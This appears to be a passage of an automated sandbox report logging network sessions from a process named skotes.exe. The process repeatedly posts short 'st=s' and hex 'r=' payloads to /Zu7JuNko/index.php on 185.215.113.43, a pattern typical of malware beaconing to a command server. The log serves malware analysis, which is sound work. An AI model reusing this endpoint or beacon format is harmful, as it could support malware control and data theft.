r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:31:22.925473928 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	49920	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:24.551625967 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:31:25.242778063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49922	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:26.756452084 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:31:27.462116957 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49923	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:29.100044966 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:31:29.846462011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49924	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:31.366219997 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:31:32.105652094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49925	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:33.742602110 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:31:34.453272104 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49926	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:35.975785017 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:31:36.697444916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49927	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:38.333746910 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:31:39.042203903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49928	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:40.553726912 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:31:41.246793032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49929	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:42.880666018 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:31:43.616684914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49930	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:45.132688999 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:31:45.831454039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49931	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:47.478652000 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:31:48.192455053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	49932	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:49.709130049 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:31:50.414740086 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	49933	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:52.053299904 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:31:52.774513006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	64652	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:54.286844969 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:31:55.027656078 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	64653	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:56.662611008 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:31:57.351433992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	64654	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:31:58.865464926 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:31:59.579257011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:31:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	64655	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:01.214374065 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:32:01.921922922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	64656	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:03.444541931 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:32:04.158109903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	64657	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:05.806734085 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:32:06.536708117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	64658	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:08.054717064 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:32:08.775165081 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	64659	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:10.411981106 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:32:11.118845940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	64660	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:12.631879091 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:32:13.343281984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	64661	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:14.975759029 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:32:15.684011936 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
